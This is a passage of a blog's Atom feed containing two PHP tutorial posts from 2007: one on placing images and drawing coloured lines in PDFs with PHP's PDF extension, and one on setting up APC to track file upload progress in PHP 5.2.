href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2218951788948343458'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/square-peg-round-hole-in-pdf-with-php.html' title='Square Peg, Round Hole In PDF With PHP'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-5151968599859331229</id><published>2007-06-17T22:47:00.000-07:00</published><updated>2007-06-17T22:48:59.396-07:00</updated><title type='text'>Generate PDFs with PHP</title><content type='html'>&lt;h5&gt;Pretty As A Picture&lt;/h5&gt;    &lt;p&gt;Now, that was a very simple example - but &lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_1" class="glossary" title="PHP, or Hypertext Preprocessor, is an open source, server-side programming language."&gt;PHP&lt;/a&gt;'s PDF extension allows you to do a lot more than just write text to a page. Since a picture is worth a thousand words, consider this next example, which demonstrates the process of adding an image to your newly-minted PDF document.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;?php&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "philosophy.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// get and use a font object&lt;br /&gt;$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);&lt;br /&gt;&lt;br /&gt;// print text&lt;br /&gt;pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730);&lt;br /&gt;&lt;br /&gt;// add an image under the text&lt;br /&gt;$image = pdf_open_image_file($pdf, "&lt;a href="http://www.sitepoint.com/glossary.php?q=J#term_23" class="glossary" title="JPEG, which stands for Joint Photographics Expert Group, is an image file format suitable for photographic images."&gt;jpeg&lt;/a&gt;", "shakespeare.&lt;a href="http://www.sitepoint.com/glossary.php?q=J#term_23" class="glossary" title="JPEG, which stands for Joint Photographics Expert Group, is an image file format suitable for photographic images."&gt;jpg&lt;/a&gt;"); pdf_place_image($pdf, $image, 50, 650, 0.25);&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Here's the PDF output:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://sitepointstatic.com/graphics/1225image2.jpg" class="thickbox"&gt;&lt;em&gt;1225_2 (click to view image)&lt;/em&gt;&lt;img src="http://sitepointstatic.com/graphics/1225image2.jpg" alt="" height="150" width="272" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Most of the magic here happens via the &lt;code&gt;pdf_open_image_file()&lt;/code&gt; and&lt;br /&gt;&lt;code&gt;pdf_place_image()&lt;/code&gt; functions. The first one accepts an image type - &lt;a href="http://www.sitepoint.com/glossary.php?q=G#term_24" class="glossary" title="GIF stands for Graphics Interchange Format, and is an image file format commonly used for palette-based images."&gt;GIF&lt;/a&gt;, JPEG, TIFF or &lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_26" class="glossary" title="PNG stands for Portable Network Graphics, and is an image file format for loss-less compression of images."&gt;PNG&lt;/a&gt; - and file name as arguments, and returns an image handle, which may then be re-used multiple times in the document.&lt;/p&gt;  &lt;p&gt;The image handle returned in the previous step can be used by the &lt;code&gt;pdf_place_image()&lt;/code&gt; function, which actually takes care of positioning the image at a particular point on the page. The coordinates provided to this function (the second and third arguments) refer to the position of the lower left corner of the image, while the fourth argument specifies the scaling factor to use when displaying the image (a scaling factor of 1 will show the image at actual size, while a factor of 0.5 will reduce the image to half its size).&lt;/p&gt;  &lt;h5&gt;The Shortest Distance Between Two Points&lt;/h5&gt;    &lt;p&gt;Why stop there? PHP's PDF extension comes with a whole bag of functions designed to let you draw lines, circles and other shapes in your PDF document. Consider the following example, which demonstrates the process of drawing a line.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;?php&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "letterhead.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// get and use a font object&lt;br /&gt;$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 12);&lt;br /&gt;&lt;br /&gt;// set a colour for the line&lt;br /&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);&lt;br /&gt;&lt;br /&gt;// place a logo in the top left corner&lt;br /&gt;$image = pdf_open_image_file($pdf, "jpeg", "logo.jpg"); pdf_place_image($pdf, $image, 50, 785, 0.5);&lt;br /&gt;&lt;br /&gt;// draw a line under the logo&lt;br /&gt;pdf_moveto($pdf, 20, 780);&lt;br /&gt;pdf_lineto($pdf, 575, 780);&lt;br /&gt;pdf_stroke($pdf);&lt;br /&gt;&lt;br /&gt;// draw another line near the bottom of the page pdf_moveto($pdf, 20, 50); pdf_lineto($pdf, 575, 50); pdf_stroke($pdf);&lt;br /&gt;&lt;br /&gt;// and write some text under it&lt;br /&gt;pdf_show_xy($pdf, "Confidential and proprietary", 200, 35);&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Here's what you should see in the PDF document:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://sitepointstatic.com/graphics/1225image3.jpg" class="thickbox"&gt;&lt;em&gt;1225_3 (click to view image)&lt;/em&gt;&lt;img src="http://sitepointstatic.com/graphics/1225image3.jpg" alt="" height="300" width="210" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;In this case, the process of drawing a line involves creative use of the &lt;code&gt;pdf_moveto()&lt;/code&gt;, &lt;code&gt;pdf_lineto()&lt;/code&gt; and &lt;code&gt;pdf_stroke()&lt;/code&gt; functions. &lt;/p&gt;  &lt;p&gt;In the example above, I'd like to draw a line from the position (20,780) to the new position (575, 780). In order to do this, I first need to place the cursor at the starting point (20,780), via a call to &lt;code&gt;pdf_moveto()&lt;/code&gt;.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_moveto($pdf, 20, 780);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Next, I need to set the end point of the line, via &lt;code&gt;pdf_lineto()&lt;/code&gt;:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_lineto($pdf, 575, 780);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Finally, the line is actually rendered using &lt;code&gt;pdf_stroke()&lt;/code&gt;.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_stroke($pdf);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;The stroke colour is set via a call to &lt;code&gt;pdf_setcolor()&lt;/code&gt;, which accepts a number of parameters: the PDF document handle, whether the colour being set is for "stroke", "fill" or "both", the colour scheme to use (RGB or CMYK), and a list of colour values appropriate to the selected colour scheme. &lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;It's important to note that the list of colour values provided to&lt;br /&gt;&lt;code&gt;pdf_setcolor()&lt;/code&gt; must be specified in terms of percentage intensity - that is, the intensity of that colour, expressed as a percentage of the maximum intensity possible. So, if I wanted to set red (RGB: 255,0,0) as the stroke colour, my call to &lt;code&gt;pdf_setcolor()&lt;/code&gt; would look like this:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_setcolor($pdf, "stroke", "rgb", 1, 0, 0);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;while a fill colour of yellow (RGB: 255,255,0) would be:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0);&lt;/code&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-5151968599859331229?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/5151968599859331229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=5151968599859331229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/5151968599859331229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/5151968599859331229'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/generate-pdfs-with-php.html' title='Generate PDFs with PHP'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-3613973060639870014</id><published>2007-06-16T06:02:00.000-07:00</published><updated>2007-06-16T06:03:07.229-07:00</updated><title type='text'>What's new in PHP V5.2, Part 5: Tracking file upload progress</title><content type='html'>PHP V5.2 added hooks for developers to take advantage of tracking file upload progress in real time. This article, Part 5 of a five-part "&lt;a href="http://www.ibm.com/developerworks/views/opensource/libraryview.jsp?search_by=what+new+php+5.2"&gt;What's new in PHP V5.2&lt;/a&gt;" series, shows how to monitor file uploads and write code accordingly, with the creation of a PHP progress bar.&lt;!--START RESERVED FOR FUTURE USE INCLUDE FILES--&gt;&lt;script language="JavaScript" type="text/javascript"&gt; &lt;!-- if (document.referrer&amp;&amp;document.referrer!="") {     // document.write(document.referrer);    var q = document.referrer;    var engine = q;    var isG = engine.search(/google\.com/i);    var searchTerms;    //var searchTermsForDisplay;    if (isG != -1) {      var i = q.search(/q=/);     var q2 = q.substring(i+2);     var j = q2.search(/&amp;/);     j = (j == -1)?q2.length:j;     searchTerms = q.substring(i+2,i+2+j);     if (searchTerms.length != 0) {         searchQuery(searchTerms);         document.write("&lt;div id="\"&gt;&lt;/div&gt;");     }    }  } //--&gt; &lt;/script&gt;&lt;!--END RESERVED FOR FUTURE USE INCLUDE FILES--&gt;             &lt;p&gt;Web 2.0 is the hottest buzzword on the Internet, with investors lining up to put money into any bucket labeled by it. There are many descriptive terms for the millions of Web sites and applications they house. With Web 2.0, we describe a category of Web sites that provide a voice to the millions of users of the Internet. Distinctive in that they all provide a venue for users to meet and share opinions and data relating to common interests, these sites generate enormous amounts of content rapidly.&lt;/p&gt;              &lt;p&gt;Each of the users provides some kind of content -- reviews of coffee shops, routes to work, etc. &lt;a href="http://www.youtube.com/"&gt;YouTube&lt;/a&gt; is a great example of this, providing a place for people to upload videos and have other users watch them and provide feedback. YouTube is the current darling of the Web 2.0 observers, noting that YouTube's popularity grew faster than any site on the Internet to date. This popularity can be attributed to a great deal of varied content, along with the ability for users to lend their voices to the content in the form of comments. And not just comments -- users can even upload video comments in response to video. &lt;/p&gt;             &lt;p&gt;&lt;a name="N1006C"&gt;&lt;span class="atitle"&gt;Text fields, ahoy&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;             &lt;p&gt;Many Web sites that accept files sport the dreaded &lt;b&gt;Browse&lt;/b&gt; button next to a text field urging users to upload each file one at a time. This can take a long time, especially in the case of video, or even photos or other items that come in a groups of smaller files. Since each file requires its own upload, it can be quite a chore. Given that uploading huge files can be tedious for impatient users, it is important to provide them positive feedback to keep them from giving up and going away.&lt;/p&gt;              &lt;p&gt;Fortunately, PHP V5.2's new hooks into the file upload process allow us to show users in real time what is happening with their uploads. In this article, we will create a progress bar using PHP V5.2 for our users (see &lt;a href="http://www.ibm.com/developerworks/opensource/library/os-php-v525/#download"&gt;Download&lt;/a&gt; for source code).&lt;/p&gt;           &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="N1007F"&gt;&lt;span class="atitle"&gt;Hook, line, and sinker&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;              &lt;p&gt;The new "hooks" in PHP V5.2 are actually data points that are available during the file transfer process if you have the right libraries installed and configured. They use a feature called the Alternative PHP Cache. When a PHP script receives an uploaded file, the interpreter will automatically check the &lt;code&gt;$_POST array&lt;/code&gt; for a hidden field named APC_UPLOAD_PROGRESS, which becomes a cached variable, storing information about the upload so your scripts can access it. With this information cached and at your fingertips, you can give your users visual feedback to improve their user experience.&lt;/p&gt;             &lt;p&gt;We will cover the implementation of the APC code in your HTML form, as well as identifying it in your PHP and how to access the cached information. There are many ways to represent this data — from Ajax to FLEX — but what we will focus on is how to prepare access to the data these front-end technologies will need.&lt;/p&gt;           &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;a name="N10093"&gt;&lt;span class="atitle"&gt;Setting up&lt;/span&gt;&lt;/a&gt;             &lt;p&gt;APC is not enabled by default in PHP V5.2. Since the new hooks are a part of APC, we need to make sure to install the extension and make it available to the PHP interpreter. This is accomplished by downloading the php_apc extension files. In our case, we are using an installation of WAMP, a freely available packaged PHP for Windows®, which includes Apache and MySQL. It offers a nice user interface and is easy to manage with menus that support configuration options. &lt;/p&gt;             &lt;p&gt;To set up APC on WAMP:&lt;/p&gt;             &lt;ol&gt;&lt;li&gt;See &lt;a href="http://www.ibm.com/developerworks/opensource/library/os-php-v525/#resources"&gt;Resources&lt;/a&gt; to download the libraries and WAMP.&lt;/li&gt;&lt;li&gt;Install WAMP.&lt;/li&gt;&lt;li&gt;Put the php_apc.dll file in the extensions folder for PHP. This is &lt;wamproot&gt;/php/ext by default.&lt;/wamproot&gt;&lt;/li&gt;&lt;li&gt;Use the system tray WAMP menu to select &lt;b&gt;PHP settings&gt;PHP Extensions&gt;Add Extension&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;In the command-line interface that pops up, type &lt;code&gt;php_apc.dll&lt;/code&gt; and press &lt;b&gt;Enter&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;Using a text editor, open &lt;wamproot&gt;/php/php.ini and add the line &lt;code&gt;apc.rfc1867 = on&lt;/code&gt; (it doesn't matter where). If you're trying to test locally and plan to upload large files so you can actually see progress, you'll also want to add the following directives: &lt;code&gt;apc.max_file_size = 200M&lt;/code&gt;, &lt;code&gt;upload_max_filesize = 200M&lt;/code&gt;, and &lt;code&gt;post_max_size = 200M&lt;/code&gt;. Don't do this on a live production server, though, or you're likely to use up bandwidth and disk space allotments, not to mention slowing everyone else down to a crawl.&lt;/wamproot&gt;&lt;/li&gt;&lt;li&gt;Restart PHP.&lt;/li&gt;&lt;/ol&gt;             &lt;p&gt;APC should now be set up and initialized. The RFC1867 features of APC — the features that enable you to track file uploads — should now be enabled as an option, and you should be ready to look into our file uploads to enable real-time status.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-3613973060639870014?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/3613973060639870014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=3613973060639870014' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3613973060639870014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3613973060639870014'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/whats-new-in-php-v52-part-5-tracking.html' title='What&apos;s new in PHP V5.2, Part 5: Tracking file upload progress'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
